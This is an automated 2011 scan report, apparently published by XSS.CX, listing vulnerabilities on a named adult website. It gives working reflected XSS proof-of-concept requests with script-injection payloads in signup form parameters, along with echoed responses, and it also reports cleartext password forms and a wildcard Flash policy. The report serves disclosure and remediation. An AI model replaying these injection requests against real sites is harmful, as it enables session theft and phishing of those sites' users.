XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, xhamster.com

Report generated by XSS.CX at Mon Aug 15 13:11:34 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in xhamster.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://xhamster.com/signup.php [city parameter]

1.2. http://xhamster.com/signup.php [email parameter]

1.3. http://xhamster.com/signup.php [name of an arbitrarily supplied request parameter]

1.4. http://xhamster.com/signup.php [next parameter]

1.5. http://xhamster.com/signup.php [next parameter]

1.6. http://xhamster.com/signup.php [next parameter]

1.7. http://xhamster.com/signup.php [prev parameter]

1.8. http://xhamster.com/signup.php [username parameter]

2. Cleartext submission of password

2.1. http://xhamster.com/

2.2. http://xhamster.com/login.php

2.3. http://xhamster.com/signup.php

2.4. http://xhamster.com/signup.php

3. Flash cross-domain policy

4. Password field submitted using GET method

5. Password field with autocomplete enabled

5.1. http://xhamster.com/

5.2. http://xhamster.com/login.php

5.3. http://xhamster.com/signup.php

5.4. http://xhamster.com/signup.php

5.5. http://xhamster.com/signup.php

5.6. http://xhamster.com/signup.php

6. Cross-domain Referer leakage

7. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://xhamster.com/signup.php [city parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The value of the city request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1838"><script>alert(1)</script>64dd5f3a826dcd71f was submitted in the city parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /signup.php?next=%27&prev=&email=&username=&password1=&password2=&gender=Male&country=US&usa_region=TX&canada_region=&city=Dallasd1838"><script>alert(1)</script>64dd5f3a826dcd71f&recaptcha_challenge_field=03AHJ_Vus-HkBvRES1YRbzFHCL44Fft3MSYzVjNBzURKtlRV0wwjFDUQd3m1Kz5-7YO4_IKtQR2RIvThCyc6yiEkzQz9QsCn3_l5nHfddmsyhBl0eLo-nkvHGiqks6bWZcV7CUVfnL-mo9W0cnVDLsL-ybxIg1kOTFKQ&recaptcha_response_field=&action_signup=Sign+Up HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://xhamster.com/signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E
Cookie: ismobile=0; stats=74; __utma=26208500.1404966258.1313435099.1313435099.1313435099.1; __utmb=26208500.1.10.1313435099; __utmc=26208500; __utmz=26208500.1313435099.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; sc_limit=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:07:54 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m4
Vary: Accept-Encoding
Content-Length: 29363

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<input type="text" name="city" value="Dallasd1838"><script>alert(1)</script>64dd5f3a826dcd71f" />
...[SNIP]...

1.2. http://xhamster.com/signup.php [email parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The value of the email request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e376d><script>alert(1)</script>ebfff57a20ad33bc8 was submitted in the email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /signup.php?next=%27&prev=&email=e376d><script>alert(1)</script>ebfff57a20ad33bc8&username=&password1=&password2=&gender=Male&country=US&usa_region=TX&canada_region=&city=Dallas&recaptcha_challenge_field=03AHJ_Vus-HkBvRES1YRbzFHCL44Fft3MSYzVjNBzURKtlRV0wwjFDUQd3m1Kz5-7YO4_IKtQR2RIvThCyc6yiEkzQz9QsCn3_l5nHfddmsyhBl0eLo-nkvHGiqks6bWZcV7CUVfnL-mo9W0cnVDLsL-ybxIg1kOTFKQ&recaptcha_response_field=&action_signup=Sign+Up HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://xhamster.com/signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E
Cookie: ismobile=0; stats=74; __utma=26208500.1404966258.1313435099.1313435099.1313435099.1; __utmb=26208500.1.10.1313435099; __utmc=26208500; __utmz=26208500.1313435099.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; sc_limit=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:07:45 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m2
Vary: Accept-Encoding
Content-Length: 29358

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<INPUT type=text maxLength=60 size=20 name=email value=e376d><script>alert(1)</script>ebfff57a20ad33bc8>
...[SNIP]...

1.3. http://xhamster.com/signup.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 5359a%3balert(1)//941552ed9d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5359a;alert(1)//941552ed9d6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/scrip/5359a%3balert(1)//941552ed9d6t%3E HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:09:17 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.2
Srv: m3
Vary: Accept-Encoding
Content-Length: 29239

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
</scrip/5359a;alert(1)//941552ed9d6t>
...[SNIP]...

1.4. http://xhamster.com/signup.php [next parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The value of the next request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b305a"><script>alert(1)</script>18d9db32d7980cbc5 was submitted in the next parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /signup.php?next=%27b305a"><script>alert(1)</script>18d9db32d7980cbc5&prev=&email=&username=&password1=&password2=&gender=Male&country=US&usa_region=TX&canada_region=&city=Dallas&recaptcha_challenge_field=03AHJ_Vus-HkBvRES1YRbzFHCL44Fft3MSYzVjNBzURKtlRV0wwjFDUQd3m1Kz5-7YO4_IKtQR2RIvThCyc6yiEkzQz9QsCn3_l5nHfddmsyhBl0eLo-nkvHGiqks6bWZcV7CUVfnL-mo9W0cnVDLsL-ybxIg1kOTFKQ&recaptcha_response_field=&action_signup=Sign+Up HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://xhamster.com/signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E
Cookie: ismobile=0; stats=74; __utma=26208500.1404966258.1313435099.1313435099.1313435099.1; __utmb=26208500.1.10.1313435099; __utmc=26208500; __utmz=26208500.1313435099.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; sc_limit=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:07:36 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m9
Vary: Accept-Encoding
Content-Length: 29429

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<FORM id=signupForm name=signupForm method=post action="http://xhamster.com/signup.php?next='b305a"><script>alert(1)</script>18d9db32d7980cbc5">
...[SNIP]...

1.5. http://xhamster.com/signup.php [next parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The value of the next request parameter is copied into the HTML document as plain text between tags. The payload 47a9a<script>alert(1)</script>1fbbb0d5fcf was submitted in the next parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E47a9a<script>alert(1)</script>1fbbb0d5fcf HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:09:16 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.6
Srv: m13
Vary: Accept-Encoding
Content-Length: 29357

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
</script>47a9a<script>alert(1)</script>1fbbb0d5fcf">
...[SNIP]...

1.6. http://xhamster.com/signup.php [next parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The value of the next request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71e9a"><script>alert(1)</script>f501e5879f9 was submitted in the next parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /signup.php?next=71e9a"><script>alert(1)</script>f501e5879f9 HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:09:15 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.3.6
Srv: m13
Vary: Accept-Encoding
Content-Length: 29243

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<FORM id=signupForm name=signupForm method=post action="http://xhamster.com/signup.php?next=71e9a"><script>alert(1)</script>f501e5879f9">
...[SNIP]...

1.7. http://xhamster.com/signup.php [prev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The value of the prev request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57177"><script>alert(1)</script>d0d29e61179a32969 was submitted in the prev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /signup.php?next=%27&prev=57177"><script>alert(1)</script>d0d29e61179a32969&email=&username=&password1=&password2=&gender=Male&country=US&usa_region=TX&canada_region=&city=Dallas&recaptcha_challenge_field=03AHJ_Vus-HkBvRES1YRbzFHCL44Fft3MSYzVjNBzURKtlRV0wwjFDUQd3m1Kz5-7YO4_IKtQR2RIvThCyc6yiEkzQz9QsCn3_l5nHfddmsyhBl0eLo-nkvHGiqks6bWZcV7CUVfnL-mo9W0cnVDLsL-ybxIg1kOTFKQ&recaptcha_response_field=&action_signup=Sign+Up HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://xhamster.com/signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E
Cookie: ismobile=0; stats=74; __utma=26208500.1404966258.1313435099.1313435099.1313435099.1; __utmb=26208500.1.10.1313435099; __utmc=26208500; __utmz=26208500.1313435099.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; sc_limit=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:07:40 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.6
Srv: m13
Vary: Accept-Encoding
Content-Length: 29363

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<INPUT type="hidden" name="prev" value="57177"><script>alert(1)</script>d0d29e61179a32969">
...[SNIP]...

1.8. http://xhamster.com/signup.php [username parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The value of the username request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload ffa66><script>alert(1)</script>4cbc2a1fa75fa2b7b was submitted in the username parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /signup.php?next=%27&prev=&email=&username=ffa66><script>alert(1)</script>4cbc2a1fa75fa2b7b&password1=&password2=&gender=Male&country=US&usa_region=TX&canada_region=&city=Dallas&recaptcha_challenge_field=03AHJ_Vus-HkBvRES1YRbzFHCL44Fft3MSYzVjNBzURKtlRV0wwjFDUQd3m1Kz5-7YO4_IKtQR2RIvThCyc6yiEkzQz9QsCn3_l5nHfddmsyhBl0eLo-nkvHGiqks6bWZcV7CUVfnL-mo9W0cnVDLsL-ybxIg1kOTFKQ&recaptcha_response_field=&action_signup=Sign+Up HTTP/1.1
Host: xhamster.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://xhamster.com/signup.php?next=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000259)%3C/script%3E
Cookie: ismobile=0; stats=74; __utma=26208500.1404966258.1313435099.1313435099.1313435099.1; __utmb=26208500.1.10.1313435099; __utmc=26208500; __utmz=26208500.1313435099.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; sc_limit=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:07:49 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m9
Vary: Accept-Encoding
Content-Length: 29361

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<INPUT id="username_field" type="text" maxLength=20 name=username value=ffa66><script>alert(1)</script>4cbc2a1fa75fa2b7b>
...[SNIP]...

2. Cleartext submission of password  previous  next
There are 4 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


2.1. http://xhamster.com/  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET / HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 19:04:10 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m5
Set-Cookie: adNum=387; path=/
Vary: Accept-Encoding
Content-Length: 59237

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>xHamster's Free Porn Videos</title>
<meta name="description" content="xH
...[SNIP]...
</div>
<form id='loginForm'>
<table cellpadding="0" cellspacing="0" style="display: table;">
...[SNIP]...
<td><input type='password' class='inp' name="password" id='password'></td>
...[SNIP]...

2.2. http://xhamster.com/login.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /login.php HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
Referer: http://xhamster.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ismobile=0; stats=54; prid=--; prib=--; TmplClickPopLayer=1; sc_limit=1; __utma=26208500.868426551.1313434646.1313434646.1313434646.1; __utmb=26208500.1.10.1313434646; __utmz=26208500.1313434646.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); adNum=386; mdg:uid=215%3Aa2

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:58:26 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.2
Srv: m3
Vary: Accept-Encoding
Content-Length: 11903

<html>
<head>
<title>Login Form</title>
<meta name="description" content="Login Form"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free
...[SNIP]...
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0 bgcolor="#FFFFFF">
       <FORM name=loginForm method=post action="http://xhamster.com/login.php?next=">
<TBODY>
...[SNIP]...
<TD style="PADDING-left: 5px;"><INPUT size=16 tabIndex=8 type=password name=password></TD>
...[SNIP]...

2.3. http://xhamster.com/signup.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Request

GET /signup.php HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
Referer: http://xhamster.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ismobile=0; stats=54; adNum=12; mdg:uid=940%3Aa5; prid=--; prib=--; TmplClickPopLayer=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:56:29 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
Srv: m10
Vary: Accept-Encoding
Content-Length: 29083

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<BR>
                       <FORM id=signupForm name=signupForm method=post action="http://xhamster.com/signup.php?next=">
                           <INPUT type="hidden" name="prev" value="">
...[SNIP]...
<TD><INPUT type=password maxLength=20 name=password1></TD>
...[SNIP]...
<TD><INPUT type=password maxLength=20 name=password2></TD>
...[SNIP]...

2.4. http://xhamster.com/signup.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://xhamster.com
Path:   /signup.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /signup.php HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
Referer: http://xhamster.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ismobile=0; stats=54; adNum=12; mdg:uid=940%3Aa5; prid=--; prib=--; TmplClickPopLayer=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:56:29 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
Srv: m10
Vary: Accept-Encoding
Content-Length: 29083

<html>
<head>
<title>Register</title>
<meta name="description" content="Register"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name ="keywords" content ="porn, free porn
...[SNIP]...
<BR>
       <FORM id=loginForm name=loginForm method=post action="http://xhamster.com/login.php?next=">
       <TABLE cellSpacing=0 cellPadding=5 width="100%" border=0>
...[SNIP]...
<TD><INPUT tabIndex=2 type=password name=password></TD>
...[SNIP]...

3. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: xhamster.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Mon, 15 Aug 2011 18:56:31 GMT
Content-Type: application/xml
Connection: close
Last-Modified: Wed, 23 Jun 2010 11:17:08 GMT
ETag: "11a0e3b-75-489b0adaeb500"
Accept-Ranges: bytes
Content-Length: 117

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.xhamster.com" />
</cross-domain-policy>

4. Password field submitted using GET method  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://xhamster.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:The form contains the following password field:

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

Request

GET / HTTP/1.1
Host: xhamster.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
